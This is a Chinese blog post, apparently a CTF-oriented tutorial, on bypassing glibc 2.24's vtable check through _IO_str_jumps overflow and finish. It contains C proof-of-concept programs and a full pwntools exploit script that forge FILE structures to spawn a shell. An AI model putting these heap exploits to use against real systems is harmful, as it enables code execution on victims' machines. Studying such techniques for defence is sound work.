glibc 2.24 下 IO_FILE 的利用

news2024/11/28 10:43:36

文章目录

  • glibc 2.24 下 IO_FILE 的利用
    • 介绍:
    • 新的利用技术
      • fileno 与缓冲区的相关利用
      • 实例:
      • 1. _IO_str_jumps -> overflow
        • 实例:
      • 2. _IO_str_jumps -> finish
        • 实例:
    • 最后拓展一下上一篇博客house of orange题目的做法:

glibc 2.24 下 IO_FILE 的利用

介绍:

  1. 在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

    image-20240821142640099

    /* Check if unknown vtable pointers are permitted; otherwise,
       terminate the process.  */
    void _IO_vtable_check (void) attribute_hidden;
    
    /* Perform vtable pointer validation.  If validation fails, terminate
       the process.  */
    static inline const struct _IO_jump_t *
    IO_validate_vtable (const struct _IO_jump_t *vtable)
    {
      /* Fast path: The vtable pointer is within the __libc_IO_vtables
         section.  */
      uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
      const char *ptr = (const char *) vtable;
      uintptr_t offset = ptr - __start___libc_IO_vtables;
      if (__glibc_unlikely (offset >= section_length)) // 超出范围
        /* The vtable pointer is not in the expected section.  Use the
           slow path, which will terminate the process if necessary.  */
        _IO_vtable_check ();
      return vtable;
    }
    
    
    void attribute_hidden
    _IO_vtable_check (void)
    {
    #ifdef SHARED
      /* Honor the compatibility flag.  */
      void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
    #ifdef PTR_DEMANGLE
      PTR_DEMANGLE (flag);
    #endif
      if (flag == &_IO_vtable_check)
        return;
    
      /* In case this libc copy is in a non-default namespace, we always
         need to accept foreign vtables because there is always a
         possibility that FILE * objects are passed across the linking
         boundary.  */
      {
        Dl_info di;
        struct link_map *l;
        if (!rtld_active ()
            || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
                && l->l_ns != LM_ID_BASE))
          return;
      }
    
    #else /* !SHARED */
      /* We cannot perform vtable validation in the static dlopen case
         because FILE * handles might be passed back and forth across the
         boundary.  Therefore, we disable checking in this case.  */
      if (__dlopen != NULL)
        return;
    #endif
    
      __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
    }
    

    如果 vtable 是非法的,那么会引发 abort。

    这里的检查使得以往使用 vtable 进行利用的技术很难实现。

新的利用技术

fileno 与缓冲区的相关利用

  1. 在 vtable 难以被利用之后,利用的关注点从 vtable 转移到_IO_FILE 结构内部的域中。 前面介绍过 _IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如 fwrite、fread 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。

    struct _IO_FILE {
      int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;   /* Current read pointer */
      char* _IO_read_end;   /* End of get area. */
      char* _IO_read_base;  /* Start of putback+get area. */
      char* _IO_write_base; /* Start of put area. */
      char* _IO_write_ptr;  /* Current put pointer. */
      char* _IO_write_end;  /* End of put area. */
      char* _IO_buf_base;   /* Start of reserve area. */
      char* _IO_buf_end;    /* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
      int _flags2;
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    };
    

    因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。

    在 _ IO_FILE 中**_ IO_buf_base 表示操作的起始地址**,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。

实例:

  1. 简单的观察一下_IO_FILE 对于调用 scanf 的作用:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(void)
    {
         char stack_buf[100];
         scanf("%s",stack_buf);
         scanf("%s",stack_buf);
         return 0;	
    }
    

    在执行程序第一次使用 stdin 之前,stdin 的内容还未初始化是空的:

    image-20240821144311169

    调用 scanf 之后可以看到**_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end** 等域都被初始化,但是**_IO_2_1_stdout_还未初始化**,因为没有调用有关输出的函数:

    image-20240821144420361

    进一步观察,可以发现其实 stdin 初始化的内存是在堆上分配出来的,在这里堆的基址是 0x405000,因为之前没有堆分配因此缓冲区的地址也是 0x405010

    image-20240821144642284

    我这里使用的是glibc2.27,前面有一个tcache,所以起始地址是0x405260,大小为0x400:

    image-20240821144737899

    image-20240821145315162

    接下来我们尝试修改_IO_buf_base 来实现任意地址读写,全局缓冲区 buf 的地址是 0x7ffff7bec880。修改_IO_buf_base 和_IO_buf_end 到缓冲区 buf 的地址:

    image-20240821145742308

    image-20240821150103576

    之后 scanf 的读入数据就会写入到 0x7ffff7bec880 的位置,同时也可以看到**_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end** 值也根据_IO_buf_base 的值而有所修改:

    image-20240821150204103

1. _IO_str_jumps -> overflow

  1. libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。

image-20240821195445832

  1. 如果我们能设置文件指针的 vtable_IO_str_jumps 那么就能调用不一样的文件操作函数。这里以_IO_str_overflow为例子:

    int
    _IO_str_overflow (_IO_FILE *fp, int c)
    {
      int flush_only = c == EOF;
      _IO_size_t pos;
      if (fp->_flags & _IO_NO_WRITES)
          return flush_only ? 0 : EOF;
      if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
        {
          fp->_flags |= _IO_CURRENTLY_PUTTING;
          fp->_IO_write_ptr = fp->_IO_read_ptr;
          fp->_IO_read_ptr = fp->_IO_read_end;
        }
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
        {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    	return EOF;
          else
    	{
    	  char *new_buf;
    	  char *old_buf = fp->_IO_buf_base;
    	  size_t old_blen = _IO_blen (fp);
    	  _IO_size_t new_size = 2 * old_blen + 100;
    	  if (new_size < old_blen)
    	    return EOF;
    	  new_buf
    	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //劫持程序的流程
    	  if (new_buf == NULL)
    	    {
    	      /*	  __ferror(fp) = 1; */
    	      return EOF;
    	    }
    	  if (old_buf)
    	    {
    	      memcpy (new_buf, old_buf, old_blen);
    	      (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
    	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
    	      fp->_IO_buf_base = NULL;
    	    }
    	  memset (new_buf + old_blen, '\0', new_size - old_blen);
    
    	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
    	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
    	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
    	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
    	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
    
    	  fp->_IO_write_base = new_buf;
    	  fp->_IO_write_end = fp->_IO_buf_end;
    	}
        }
    
      if (!flush_only)
        *fp->_IO_write_ptr++ = (unsigned char) c;
      if (fp->_IO_write_ptr > fp->_IO_read_end)
        fp->_IO_read_end = fp->_IO_write_ptr;
      return c;
    }
    

    利用以下代码来劫持程序流程:

    	  new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
    

    需要满足一下条件,来绕过判断 ,是程序来到该位置:

    • fp->_flags & _IO_NO_WRITES 为假
    • (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_ IO_buf_end - fp->_IO_buf_base) + flush_only(1)) 为真
    • fp->_flags & _IO_USER_BUF 为假
    • (fp->_ IO_buf_end - fp->_IO_buf_base) + 100 不能为负数

    下面的条件来getshell

    • new_size = 2 * (fp->_ IO_buf_end - fp->_IO_buf_base) + 100; 应当等于 /bin/sh字符串 对应的地址
    • fp+0xf0指向system地址

    看一下_IO_strfile这个结构体,其中又涉及到_IO_str_fields和_IO_streambuf两个结构体,就能明白为什么system的地址要填在fp+0xe0

    image-20240821153756495

    将**_IO_2_1_stdin_强制转化为_IO_strfile_类型后输出,观察_allocate_buffer偏移**情况(因为最后函数是通过 _allocate_buffer来调用的):

    image-20240821154952691

    最后构造:

    _flags = 0
    _IO_write_base = 0
    _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
    _IO_buf_end = (binsh_in_libc_addr -100) / 2 
    
    //_freeres_list = 0x2
    //_freeres_buf = 0x3
    _mode = -1
    
    vtable = _IO_str_overflow - 0x18 = _IO_str_jumps
    fp+0xf0 -> system_addr
    
实例:
  1. 修改了 how2heap 的 houseoforange 代码,来自己动手调试一下。

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int winner ( char *ptr);
    int main()
    {
        char *p1, *p2;
        size_t io_list_all, *top;
        // unsorted bin attack
        p1 = malloc(0x400-16);
        top = (size_t *) ( (char *) p1 + 0x400 - 16);
        top[1] = 0xc01;
        p2 = malloc(0x1000);
        io_list_all = top[2] + 0x9a8;
        top[3] = io_list_all - 0x10;
        // _IO_str_overflow conditions
        char binsh_in_libc[] = "/bin/sh"; // we can found "/bin/sh" in libc, here i create it in stack
        // top[0] = ~1;
        // top[0] &= ~8;
        top[0] = 0;
        top[4] = 0; // write_base
        top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
        top[7] = 0; // buf_base
        top[8] = top[5] - 1; // buf_end
        // house_of_orange conditions
        top[1] = 0x61;
    
        //top[20] = (size_t) &top[18];
        top[21] = 2;
        top[22] = 3;
        top[24] = -1;
        top[27] = (size_t)stdin - 0x1140; // _IO_str_jumps地址
        top[28] = (size_t) &winner;
    
        /* Finally, trigger the whole chain by calling malloc */
        malloc(10);
        return 0;
    }
    int winner(char *ptr)
    { 
        system(ptr);
        return 0;
    }
    

    伪造的file如下:

    image-20240821163936329

    查看相应的结构体如下:

    image-20240821170117124

    最后申请malloc,mian_arena_88+0x68处的_chain成功衔接到fake_file:

    image-20240821164638732

    最后,进入到**IO_flush_all_lockp**函数来刷新所有文件,后面成功调用到 ** IO_str_overflow函数**(如果没有用_IO_str_jumps地址来覆盖vtable的话,该位置应该调用的是 _IO_file_overflow函数),传入的参数是fake_chunk的地址:

    image-20240821175402369

    进入到_IO_str_overflow函数后,成功绕过检查,调用到winner,传入的参数是**/bin/sh字符串的地址**:

    image-20240821170338895

    image-20240821175626428

    最后成功get shell:

    image-20240821173941797

  2. 总结:

    • 区别于直接覆盖vtable到伪造的地址,用IO_str_jumps的地址来覆盖能够通过_IO_vtable_check检查:

    • 伪造的FILE满足的条件除了:(fp-> _ mode <= 0 && fp->_ IO_write_ptr > fp->_ IO_write_base)(使得能调用到IO_str_overflow函数)

      其次还要满足:

      • fp->_flags & _IO_NO_WRITES 为假
      • (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_ IO_buf_end - fp->_IO_buf_base) + flush_only(1)) 为真
      • fp->_flags & _IO_USER_BUF 为假
      • (fp->_ IO_buf_end - fp->_IO_buf_base) + 100 不能为负数

      最后才能控制程序的执行流程,下面的条件来getshell

      • new_size = 2 * (fp->_ IO_buf_end - fp->_IO_buf_base) + 100; 应当等于 /bin/sh字符串 对应的地址
      • fp+0xf0指向system地址

2. _IO_str_jumps -> finish

  1. 原理与上面的 _IO_str_jumps -> overflow 类似:

    void _IO_str_finish(_IO_FILE *fp, int dummy)
    {
      if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
        (((_IO_strfile *)fp)->_s._free_buffer)(fp->_IO_buf_base); // 挟持程序的执行流程
      fp->_IO_buf_base = NULL;
    
      _IO_default_finish(fp, 0);
    }
    

    需要的条件:

    • fp->_IO_buf_base 不能为空
    • fp->_flags & _IO_USER_BUF 要为假

    构造如下:

    _flags = (binsh_in_libc + 0x10) & ~1
    _IO_buf_base = bin_sh_addr
    	
    _freeres_list = 0x2
    _freeres_buf = 0x3
    _mode = -1
    vtable = _IO_str_finish - 0x18 = _IO_str_jumps - 0x8
    fp+0xe8 -> system_addr
    
实例:
  1. 1:修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int winner ( char *ptr);
    int main()
    {
        char *p1, *p2;
        size_t io_list_all, *top;
        // unsorted bin attack
        p1 = malloc(0x400-16);
        top = (size_t *) ( (char *) p1 + 0x400 - 16);
        top[1] = 0xc01;
        p2 = malloc(0x1000);
        io_list_all = top[2] + 0x9a8;
        top[3] = io_list_all - 0x10;
        
        // _IO_str_overflow conditions
        char binsh_in_libc[] = "/bin/sh"; // we can found "/bin/sh" in libc, here i create it in stack
        // top[0] = ~1;
        // top[0] &= ~8;
        top[0] = 0;
        top[4] = 0; // write_base
        top[5] = 1; // write_ptr
        top[7] = (size_t)&binsh_in_libc; // buf_base
        top[8] = 0; // buf_end
        
        // house_of_orange conditions
        top[1] = 0x61;
        //top[20] = (size_t) &top[18];
        top[21] = 2;
        top[22] = 3;
        top[24] = -1;
        top[27] = (size_t)stdin - 0x1160 -8; // _IO_str_jumps地址
        top[29] = (size_t) &winner;
    
        /* Finally, trigger the whole chain by calling malloc */
        malloc(10);
        return 0;
    }
    int winner(char *ptr)
    { 
        system(ptr);
        return 0;
    }
    
  2. 调试如下:

    伪造的fake_chunk:

    image-20240821201805048

    成功调用到**_IO_str_finish函数**:

    image-20240821201837406

    成功绕过检查,调用到winner函数:

    image-20240821202149017

    成功get shell:

    image-20240821202224930

最后拓展一下上一篇博客house of orange题目的做法:

文章:House of Orange-CSDN博客

  1. EXP,分别使用上面两钟方法:

    from pwn import *
    import numpy as np
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    def debug():
        gdb.attach(p)
    
    # p = remote("node4.anna.nssctf.cn",28353)
    # libc = ELF('./libc.so.6')
    p = process("./pwn") 
    libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    # elf = ELF("./pwn")
    
    
    def add(size,name):
        p.sendlineafter(b':',b'1')
        p.sendlineafter(b'it',str(size).encode())
        p.sendafter(b"?",name)
    
    def edit(content):
        p.sendlineafter(b':',b'2')
        p.sendlineafter(b"it",str(len(content)).encode())
        p.sendafter(b"name",content)
    
    def show():
        p.sendlineafter(b':',b'3')
    
    # 回收heap地址
    heap_addr = eval(p.recv(14).decode())-0x10
    success("heap_addr ==> " + hex(heap_addr))
    
    # 泄漏libc地址
    add(0x10,b"lzl")
    payload = p64(0)*3 + p64(0xfc1)
    edit(payload)
    add(0x1000,b"lzl")
    
    add(0x10,b"a"*8)
    show()
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = (addr-(main_arena_offset+0x58)-0x610)
    success("libc_addr==>"+hex(libc_base))
    
    IO_list_all_addr   = libc_base + libc.symbols["_IO_list_all"]
    _IO_str_jumps_addr = IO_list_all_addr - 0x1D80
    system_addr        = libc_base + libc.sym["system"]
    sh_addr            = libc_base + next(libc.search(b"/bin/sh"))
    
    success("_IO_str_jumps_addr ==> " + hex(_IO_str_jumps_addr))
    success("IO_list_all_addr   ==> " + hex(IO_list_all_addr))
    success("system_addr        ==> " + hex(system_addr))
    success("sh_addr            ==> " + hex(sh_addr))
    
    # ============= 法一 =============
    # # unsorted bin attack 覆盖IO_list_all指针
    # # 构造IO_file 覆盖vtable -> 堆上地址,最后调用_IO_new_file_overflow函数get shell
    # payload = p64(0)*2
    # # file头
    # payload+= b"/bin/sh\x00" + p64(0x60)
    # # unsorted bin attack
    # payload+= p64(0) + p64(IO_list_all_addr-0x10)
    # # _IO_write_ptr > _IO_write_base
    # payload+= p64(0) + p64(1)
    # payload = payload.ljust(0xe8,b"\x00")
    # payload+= p64(heap_addr + 0x140) + p64(0)*3 + p64(system_addr)
    
    
    # # ============= 法二 =============
    # # unsorted bin attack 覆盖IO_list_all指针
    # # 构造IO_file 覆盖vtable -> _IO_str_jumps ,最后调用__GI__IO_str_overflow函数get shell
    # payload = p64(0)*2
    # # file头 flag   _IO_read_ptr
    # payload+= p64(0) + p64(0x60)
    # # unsorted bin attack
    # payload+= p64(0) + p64(IO_list_all_addr-0x10)
    
    # #  _IO_write_base < _IO_write_ptr && 
    # payload+= p64(0) + p64(int((sh_addr-100)/2 + 4))
    # # _IO_buf_end
    # payload+= p64(0)*2 + p64(int((sh_addr-100)/2 + 3))
    
    # payload = payload.ljust(0xe8,b"\x00")
    # # vtable->_IO_str_jumps   _allocate_buffer->system_addr
    # payload+= p64(_IO_str_jumps_addr) + p64(system_addr)
    
    
    # ============= 法三 =============
    # unsorted bin attack 覆盖IO_list_all指针
    # 构造IO_file 覆盖vtable -> _IO_str_jumps ,最后调用__GI__IO_str_overflow函数get shell
    payload = p64(0)*2
    # file头 flag   _IO_read_ptr
    payload+= p64(0) + p64(0x60)
    # unsorted bin attack
    payload+= p64(0) + p64(IO_list_all_addr-0x10)
    
    #  _IO_write_base < _IO_write_ptr && 
    payload+= p64(0) + p64(1)
    # _IO_buf_end
    payload+= p64(0) + p64(sh_addr)
    
    payload = payload.ljust(0xe8,b"\x00")
    # vtable->_IO_str_jumps   _allocate_buffer->system_addr
    payload+= p64(_IO_str_jumps_addr - 0x8) + p64(0) + p64(system_addr)
    edit(payload)
    
    p.sendlineafter(b':',b'1')
    p.sendlineafter(b'it',str(0x10).encode())
    p.sendline(b"cat flag")
    p.interactive()
    

    关键部分,伪造的fake_chunk:

    法二,这里要注意,由于 字符串"/bin/sh"的地址是一个奇数,所以使用完整的"/bin/sh"不可行,会导致参数传递不完整,只能使用字符串"sh"的地址

    image-20240821215916641

    image-20240821220227269

    image-20240821215215843

    法三:

    image-20240821215354675

    都是能打通的:

    image-20240821214612285

    image-20240821214727566

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2060332.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

6.4K+ Star!一个强大的本地知识库问答系统,支持多格式文件和跨语言检索,为企业提供高效、安全的数据洞察……

https://github.com/netease-youdao/QAnything 【阅读原文】跳转Github项目 转自AIGC创想者 项目简介 QAnything 是一个基于本地知识库的问答系统&#xff0c;它能够理解和回答基于任何类型文件的问题。 QAnything支持的文件格式非常广泛&#xff0c;包括PDF、Word、PPT、XL…

【GH】【EXCEL】P6: Shapes

文章目录 componentslinepicture components line picture Picture A Picture object Input parameters: Worksheet (Generic Data) A Worksheet, Workbook, Range Object, Excel Application, or Text Worksheet NameName (Text) An optional object nameLocation (Point) A p…

停车场管理系统--论文pf

TOC springboot544停车场管理系统--论文pf 第1章 绪论 1.1 课题背景 二十一世纪互联网的出现&#xff0c;改变了几千年以来人们的生活&#xff0c;不仅仅是生活物资的丰富&#xff0c;还有精神层次的丰富。在互联网诞生之前&#xff0c;地域位置往往是人们思想上不可跨域的…

推荐一个开源的kafka可视化客户端GUI工具(Kafka King)

大佬的博客地址&#xff1a; https://blog.ysboke.cn/posts/tools/kafka-king Github地址&#xff1a; https://github.com/Bronya0/Kafka-King Kafka-King功能清单 查看集群节点列表&#xff08;完成&#xff09;支持PLAINTEXT、SASL PLAINTEXT用户名密码认证&#xff08;完…

基于数据挖掘的消费者商品交易数据分析可视化与聚类分析

文章目录 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主项目介绍项目实现实现流程实现过程数据预处理EDA探索性数据分析聚类分析每文一语 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主 项目介绍 基于python的消费…

HexView 刷写文件脚本处理工具-命令行介绍(六)-CheckSum计算(/CS:)-CRC32

CheckSum计算 checksum计算是hexview最常用,也是比较实用的功能之一,每一版本支持的功能不同,最新的版本大概支持几十种CheckSum的计算。 界面计算 经常在操作的时候,如果是偶尔计算可以直接使用界面就可以了,非常清楚明了。 命令行介绍 通常使用计算的时候是在释放…

大话C语言:第43篇 结构体的位域

位域是结构体中的一个特殊成员&#xff0c;它允许我们指定该成员所占用的位数&#xff0c;而不是使用完整的字节或更大的单位。这在需要精确控制数据在内存中的布局时特别有用&#xff0c;例如在网络编程或硬件接口编程中。 位域的定义语法如下&#xff1a; struct 标签或者结…

利用TeamCity实现maven项目的CI/CD

1.什么是TeamCity&#xff1f; TeamCity 是一款由 JetBrains 开发的强大的持续集成&#xff08;Continuous Integration&#xff0c;CI&#xff09;和持续部署&#xff08;Continuous Deployment&#xff0c;CD&#xff09;工具。它帮助开发团队自动化构建、测试和部署过程&am…

Spring Boot OAuth2.0应用

本文展示Spring Boot中&#xff0c;新版本OAuth2.0的简单实现&#xff0c;版本信息&#xff1a; spring-boot 2.7.10 spring-security-oauth2-authorization-server 0.4.0 spring-security-oauth2-client 5.7.7 spring-boot-starter-oauth2-resource-server 2.7.10展示三个服务…

汽车服务管理系统 _od8kr

TOC springboot580汽车服务管理系统 _od8kr--论文 系统概述 该系统由个人管理员和员工管理&#xff0c;用户三部分组成。其中&#xff1a;用户进入系统首页可以实现首页&#xff0c;热销汽车&#xff0c;汽车配件&#xff0c;汽车资讯&#xff0c;后台管理&#xff0c;在线客…

TCP端口范围

ip_local_port_range sysctl -a | grep ip_local_port_range | head 默认情况下&#xff0c;net.ipv4.ip_local_port_range的默认值为32768-60999。这意味着本地应用程序可以使用的端口号范围为32768到60999。 sysctl -a | grep net.ipv4.ip_local_reserved_ports |head …

光伏检测气象站:实时监测:高效管理

随着全球对可再生能源需求的日益增长&#xff0c;光伏发电作为清洁能源的重要组成部分&#xff0c;其重要性日益凸显。然而&#xff0c;光伏发电的效率与稳定性受气象条件影响显著&#xff0c;如光照强度、温度、湿度、风速等因素均能直接影响光伏板的发电效率。因此&#xff0…

宠物空气净化器是智商税吗?希喂、范罗士热门产品真实性能测试

宠物空气净化器作为宠物领域的新产品&#xff0c;凭借自身独特的功能受到铲屎官们的喜爱&#xff0c;越来越多的商家关注到这个市场。然而&#xff0c;市面上品牌逐渐增多&#xff0c;质量却参差不齐&#xff0c;一些不良商家以次充好&#xff0c;容易让消费者陷入消费陷阱。 …

Codeforces Round 961 D. Cases 【SOS DP、思维】

D. Cases 题意 有一个长度为 n n n 且仅由前 c c c 个大写字母组成的字符串&#xff0c;问最少选取多少种字母为每个单词的结尾&#xff0c;使得每个单词长度不超过 k k k 思路 首先注意到最后一个字母一定要选择&#xff0c;接下来我们给出一个断言&#xff1a;如果一个…

Fx - day3 - 沙盒/更改集/互联更改集/配置包

Fxiaoke - day3 - 沙盒/更改集/互联更改集/配置包 学习目标&#xff1a;熟悉 沙盒&#xff0c;更改集&#xff0c;配置包&#xff0c;互联更改集 的概念以及使用场景 0、前言 沙盒理解 很多时候我们可能需要一个沙盒环境&#xff0c;什么是沙盒环境&#xff1f; 沙盒环境&…

如何打造Java SpringBoot私房菜定制上门服务系统,实现个性化餐饮体验?

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

惠海H4312 dcdc同步整流降压恒压IC 30V 40V转3.3V/5V/12V小体积大电流单片机供电

1.产品描述 H4312是一种内置30V耐压MOS&#xff0c;并且能够实现精确恒压以及恒流的同步降压型 DC-DC 转换器: 支持 3.1A 持续输出电流输出电压可调&#xff0c;最大可支持 100%占空比;通过调节FB 端口的分压电阻&#xff0c;可以输出2.5V到 24V的稳定电压。 H4312 采用高端…

【脏数据 bug 解决】ValueError: mean must have 1 elements if it is an iterable, got 3

问题描述&#xff1a; 在训练模型的过程中&#xff0c;出现 clip_image_processor 无法处理数据的问题&#xff0c;说明数据集中很可能出现了脏数据。本文使用的数据为 LAION-Aesthetics-V2-6.5plus&#xff0c;从 https://dagshub.com/DagsHub-Datasets/LAION-Aesthetics-V2-…

21、springboot3 vue3开发平台-前端-自定义树形穿梭框,用于角色权限分配

文章目录 1. 使用原因2. 实现3. 使用 1. 使用原因 elemenutplus 有穿梭框&#xff0c;但是不支持树状数据的操作&#xff0c;所以这里自定义树状穿梭框&#xff0c;用于菜单权限分配&#xff0c; 如下&#xff1a; 2. 实现 这里主要是将菜单列表树解构后添加修改组合再恢复…

STM32H7双路CAN踩坑记录

STM32H7双路CAN踩坑记录 目录 STM32H7双路CAN踩坑记录1 问题描述2 原因分析3 解决办法4 CAN配置参考代码 1 问题描述 STM32的CAN1和CAN2无法同时使用。 注&#xff1a;MCU使用的是STM32H743&#xff0c;其他型号不确定是否一样&#xff0c;本文只以STM32H743举例说明。 2 原因…